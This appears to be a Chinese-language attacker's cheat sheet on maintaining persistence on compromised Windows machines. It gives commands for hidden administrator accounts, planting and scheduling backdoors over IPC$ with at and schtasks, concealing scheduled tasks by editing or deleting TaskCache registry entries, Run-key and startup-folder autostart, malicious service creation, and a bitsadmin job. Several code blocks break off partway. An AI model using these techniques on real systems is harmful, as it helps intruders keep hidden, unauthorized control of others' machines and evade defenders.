windows权限维持
一、隐藏账号
1. 自建隐藏账号
- net user test$ 123456 /add && net localgroup administrators test$
2. 激活Guest用户
- net user guest 123456 && net localgroup administrators guest /add net user guest /active:yes
二、计划任务
AT命令
- 建立IPC$连接
net use \目标ip\ipc$”密码“ /user:用户名 - 查看目标系统时间
net time \ip - 将后门文件拷贝到目标系统中
copy 中转机器路径 \目标ip\目标路径 - 指定执行时间
at \ip:时间 C:\windows\…(后门路径)
注意:
- at \ip /delete /yes #清除at记录
- at \ip 15:33:36 cmd.exe /C “ipconfig” >C:/”1.txt” type \ip\C$\1.txt
#读取命令执行之后的输出内容(type是读取文件命令)
schtasks(win server2008及win7之后)
命令行:
1 | schtasks /create /sc minute /mo 5/tn "sd"/tr "C:\Windows\System32\cmd.exe /c copy E\a.txt E:\a\a.php" |
powershell:
1 | $taskname = "test" |
计划任务隐藏
非完全隐藏
如果想要隐藏一个计划任务,可以通过修改 Schedule\TaskCache\Tree 中对应任务的 Index 值,一般情况下都是 3,步骤如下:
启动 SYSTEM 权限 cmd:psexec64 -i -s cmd.exe
执行 regedit 以 SYSTEM 权限启动注册表编辑器
修改 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree 下对应任务的 Index 值为 0
删除 %SystemRoot%\System32\Tasks 下任务对应的 XML 文件
优点: - 利用 taskschd.msc、schtasks 甚至系统API查询出的所有任务中,都看不到该任务
缺点: - 并非完全隐藏,如果知道该任务的名字,可以通过 schtasks /query /tn {TaskName} 查到 - 无论是低权的任务还是高权,都需要 SYSTEM 权限(在win10测试,低版本好像没这个要求,待测试)
完全隐藏
按道理,是可以通过配置任务 SD 实现。在一次测试过程中,偶然删除了注册表中的 SD 项,发现无论什么方式都查不到任务信息,达到完全隐藏的目的:
启动 SYSTEM 权限 cmd:psexec64 -i -s cmd.exe
执行 regedit 以 SYSTEM 权限启动注册表编辑器
删除 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree{TaskName}\SD
删除 %SystemRoot%\System32\Tasks 下任务对应的 XML 文件
优点: - 无论何种方式(除了注册表),都查不到该任务,较为彻底
缺点: - 无论是低权的任务还是高权,都需要 SYSTEM 权限
三、注册表自启动
注册表相关启动项地方
1 | # 用户级: |
只需要新建一个字符串类型的键,然后把路径输进去即可
之后重启就会直接弹出 cmd 窗口,实现注册表自启动项
命令行–重启后执行恶意程序(需要完全管理员权限/system,否则提示拒绝)
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v “Keyname” /t REG_SZ /d “C:\Windows\System32\calc.exe” /f 确认可以使用成功
四、开机自启
启动文件夹下
1 | move cmd2.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\cmd2.exe" |
设置开机自启动服务(高权限)
1 | sc create "server config" binpath= "C:\Users\Administrator\Desktop\artifact.exe" |
五、bitsadmin
1 | bitsadmin /create abc |